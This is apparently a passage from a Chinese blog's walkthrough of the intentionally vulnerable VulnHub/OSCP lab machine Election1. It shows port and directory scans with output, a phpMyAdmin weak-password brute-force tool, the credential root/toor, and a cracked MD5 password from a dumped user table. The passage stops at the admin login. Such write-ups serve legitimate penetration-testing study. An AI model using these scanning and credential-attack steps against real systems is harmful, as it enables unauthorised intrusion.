public&lt;/pre&gt;&lt;p&gt;&lt;img alt="Structured Red Team Flow-2026-03-16-054912.png" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/Structured%20Red%20Team%20Flow-2026-03-16-054912.png"&gt;&lt;/p&gt;
&lt;h3 id="入侵时间表"&gt;入侵时间表
&lt;/h3&gt;&lt;pre class="mermaid" style="visibility:hidden"&gt;gantt
 title 攻击时间表
 dateFormat YYYY-MM-DD HH:mm
 axisFormat %m/%d %H:%M
 
 section 侦察阶段
 目标扫描 :a1, 2026-03-14 11:11, 2026-03-14 11:30
 漏洞识别 :a2, after a1, 2026-03-14 14:37

 
 section 攻击阶段
 初始访问 :crit, b1, after a2, 2026-03-14 15:09
 权限提升 :milestone, b2, after b1, 2026-03-14 15:13&lt;/pre&gt;&lt;p&gt;14号速通靶机后一直在复盘，这个靶机真的是越摸越有，一直盘到16号13点47分&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;推荐阅读&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="https://mp.weixin.qq.com/s/QRTeAozyaSiX_M7QCXl8Mw" target="_blank" rel="noopener"
 &gt;Day1 什么是OSCP，怎么报名和如何准备&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://mp.weixin.qq.com/s/eCujJbL37LpRVQwkJqRZUA" target="_blank" rel="noopener"
 &gt;OSCP/OSEP一对一私教直通车：协议保障，直通高级渗透测试专家&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://mp.weixin.qq.com/s/OHfDWWZW2OteI1Bzdj9QsQ" target="_blank" rel="noopener"
 &gt;CyberSec：适用于黑阔糕手的Obsidian知识库&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;center&gt;
 &lt;img src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/QRcode_g1%20(1).jpeg" style="width: 100px;"&gt;
&lt;/center&gt;</description></item><item><title>OSCP官方靶场-Election1-WP</title><link>https://ruajingjing.top/post/oscp%E5%AE%98%E6%96%B9%E9%9D%B6%E5%9C%BA-election1-wp/</link><pubDate>Fri, 13 Mar 2026 13:16:57 +0800</pubDate><guid>https://ruajingjing.top/post/oscp%E5%AE%98%E6%96%B9%E9%9D%B6%E5%9C%BA-election1-wp/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post OSCP官方靶场-Election1-WP" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注&lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;代理链接VPN&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;proxychains sudo openvpn universal.ovpn
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;官网打开靶场或链接地址下载虚拟镜像：&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;a class="link" href="https://www.vulnhub.com/entry/election-1,503/" target="_blank" rel="noopener"
 &gt;https://www.vulnhub.com/entry/election-1,503/&lt;/a&gt;&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="信息收集"&gt;信息收集
&lt;/h2&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Kali攻击机地址&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;192.168.45.168
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 靶机地址&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;192.168.195.211
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="扫描端口和目录"&gt;扫描端口和目录
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 设置MTU&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;sudo ip link &lt;span class="nb"&gt;set&lt;/span&gt; dev tun0 mtu &lt;span class="m"&gt;1250&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;ip link show tun0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 扫描端口&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;ports&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;sudo nmap -p- --min-rate&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;5000&lt;/span&gt; -Pn 192.168.195.211 &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s1"&gt;&amp;#39;^[0-9]&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; cut -d &lt;span class="s1"&gt;&amp;#39;/&amp;#39;&lt;/span&gt; -f &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39;\n&amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;,&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sed s/,$//&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$ports&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 扫描服务&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap -sT -sC -sV -O -Pn -p&lt;span class="nv"&gt;$ports&lt;/span&gt; 192.168.195.211
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap --script&lt;span class="o"&gt;=&lt;/span&gt;vuln -p&lt;span class="nv"&gt;$ports&lt;/span&gt; -Pn 192.168.195.211
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 扫描目录&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;gobuster dir -e -u http://192.168.195.211 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t &lt;span class="m"&gt;20&lt;/span&gt; -x php,html,txt -b 403,500,404 -z
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;whatweb http://192.168.195.211/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;扫描结果如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;└─$ &lt;span class="nv"&gt;ports&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;sudo nmap -p- --min-rate&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;5000&lt;/span&gt; -Pn 192.168.195.211 &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s1"&gt;&amp;#39;^[0-9]&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; cut -d &lt;span class="s1"&gt;&amp;#39;/&amp;#39;&lt;/span&gt; -f &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39;\n&amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;,&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sed s/,$//&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;└─$ &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$ports&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;22,80,15552,17682,34185,35675
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;└─$ sudo nmap -sT -sC -sV -O -Pn -p&lt;span class="nv"&gt;$ports&lt;/span&gt; 192.168.195.211
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;Starting Nmap 7.98 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2026-03-13 01:55 -0400
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;Nmap scan report &lt;span class="k"&gt;for&lt;/span&gt; 192.168.195.211
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.22s latency&lt;span class="o"&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;PORT STATE SERVICE VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu Linux&lt;span class="p"&gt;;&lt;/span&gt; protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; ssh-hostkey:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="m"&gt;2048&lt;/span&gt; 20:d1:ed:84:cc:68:a5:a7:86:f0:da:b8:92:3f:d9:67 &lt;span class="o"&gt;(&lt;/span&gt;RSA&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="m"&gt;256&lt;/span&gt; 78:89:b3:a2:75:12:76:92:2a:f9:8d:27:c1:08:a7:b9 &lt;span class="o"&gt;(&lt;/span&gt;ECDSA&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ &lt;span class="m"&gt;256&lt;/span&gt; b8:f4:d6:61:cf:16:90:c5:07:18:99:b0:7c:70:fd:c0 &lt;span class="o"&gt;(&lt;/span&gt;ED25519&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;80/tcp open http Apache httpd 2.4.29 &lt;span class="o"&gt;((&lt;/span&gt;Ubuntu&lt;span class="o"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-title: Apache2 Ubuntu Default Page: It works
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-server-header: Apache/2.4.29 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;15552/tcp closed unknown
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;17682/tcp closed unknown
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;34185/tcp closed unknown
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;35675/tcp closed unknown
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;Device type: general purpose
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt;Running: Linux 5.X
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;OS CPE: cpe:/o:linux:linux_kernel:5
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt;OS details: Linux 5.0 - 5.14
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt;Network Distance: &lt;span class="m"&gt;4&lt;/span&gt; hops
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt;Service Info: OS: Linux&lt;span class="p"&gt;;&lt;/span&gt; CPE: cpe:/o:linux:linux_kernel
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt;OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt;Nmap &lt;span class="k"&gt;done&lt;/span&gt;: &lt;span class="m"&gt;1&lt;/span&gt; IP address &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; host up&lt;span class="o"&gt;)&lt;/span&gt; scanned in 53.84 seconds
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;38&lt;/span&gt;&lt;span class="cl"&gt;└─$ sudo nmap --script&lt;span class="o"&gt;=&lt;/span&gt;vuln -p&lt;span class="nv"&gt;$ports&lt;/span&gt; -Pn 192.168.195.211
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;39&lt;/span&gt;&lt;span class="cl"&gt;Starting Nmap 7.98 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2026-03-13 01:56 -0400
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;40&lt;/span&gt;&lt;span class="cl"&gt;Nmap scan report &lt;span class="k"&gt;for&lt;/span&gt; 192.168.195.211
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;41&lt;/span&gt;&lt;span class="cl"&gt;Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.23s latency&lt;span class="o"&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;42&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;43&lt;/span&gt;&lt;span class="cl"&gt;PORT STATE SERVICE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;44&lt;/span&gt;&lt;span class="cl"&gt;22/tcp open ssh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;45&lt;/span&gt;&lt;span class="cl"&gt;80/tcp open http
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;46&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-aspnet-debug: ERROR: Script execution failed &lt;span class="o"&gt;(&lt;/span&gt;use -d to debug&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;47&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-csrf: Couldn&lt;span class="s1"&gt;&amp;#39;t find any CSRF vulnerabilities.&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;48&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-dombased-xss: Couldn&lt;span class="s1"&gt;&amp;#39;t find any DOM based XSS.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;49&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;|_http-stored-xss: Couldn&amp;#39;&lt;/span&gt;t find any stored XSS vulnerabilities.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;50&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http-enum:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;51&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; /robots.txt: Robots file
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;52&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; /phpinfo.php: Possible information file
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;53&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ /phpmyadmin/: phpMyAdmin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;54&lt;/span&gt;&lt;span class="cl"&gt;15552/tcp closed unknown
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;55&lt;/span&gt;&lt;span class="cl"&gt;17682/tcp closed unknown
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;56&lt;/span&gt;&lt;span class="cl"&gt;34185/tcp closed unknown
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;57&lt;/span&gt;&lt;span class="cl"&gt;35675/tcp closed unknown
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;58&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;59&lt;/span&gt;&lt;span class="cl"&gt;Nmap &lt;span class="k"&gt;done&lt;/span&gt;: &lt;span class="m"&gt;1&lt;/span&gt; IP address &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; host up&lt;span class="o"&gt;)&lt;/span&gt; scanned in 265.92 seconds
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;主页是个配置页面没什么
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260313135358881.png"&gt;
查看robots.txt 发现隐藏目录
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260313135430815.png"&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;admin
wordpress
user
election
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;打开目录是一个投票页面
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260313135630466.png"&gt;
提示登录admin后给候选人投票&lt;/p&gt;
&lt;p&gt;根据Nmap扫描结果发现有php页面，看到还开放了文件包含
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260313140432328.png"&gt;&lt;/p&gt;
&lt;p&gt;Nmap扫描发现phpmyadmin后台管理页面&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260313140920109.png"&gt;&lt;/p&gt;
&lt;h2 id="phpmyadmin-弱密码登录"&gt;phpMyAdmin 弱密码登录
&lt;/h2&gt;&lt;p&gt;爆破弱密码使用&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;a class="link" href="https://github.com/bmth666/phpMyAdminCrack.git" target="_blank" rel="noopener"
 &gt;https://github.com/bmth666/phpMyAdminCrack.git&lt;/a&gt;&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;复制一个字典过来&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;cp /usr/share/wordlists/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt ./wordlists/password.txt
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260313165939350.png"&gt;&lt;/p&gt;
&lt;p&gt;弱密码登录即可&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt; root toor 
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260313150043917.png"&gt;
发现存在疑似用户id和密码的表
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260313150132494.png"&gt;
解码这个md5得到一个密码&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;bb113886b0513a9d882e3caa5cd73314
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260313150157692.png"&gt;
此时我们得到的信息是&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;id&lt;/th&gt;
 &lt;th&gt;no_induk&lt;/th&gt;
 &lt;th&gt;nama&lt;/th&gt;
 &lt;th&gt;level&lt;/th&gt;
 &lt;th&gt;password&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;1&lt;/td&gt;
 &lt;td&gt;1234&lt;/td&gt;
 &lt;td&gt;Love&lt;/td&gt;
 &lt;td&gt;1&lt;/td&gt;
 &lt;td&gt;bb113886b0513a9d882e3caa5cd73314&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;1234 Love Zxc123!@# 
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="投票系统log泄露密码"&gt;投票系统log泄露密码
&lt;/h2&gt;&lt;p&gt;把投票页面补全admin，http://192.168.195.211/election/admin 尝试登陆到后台发现要输入ID，就输入1234&lt;/p&gt;
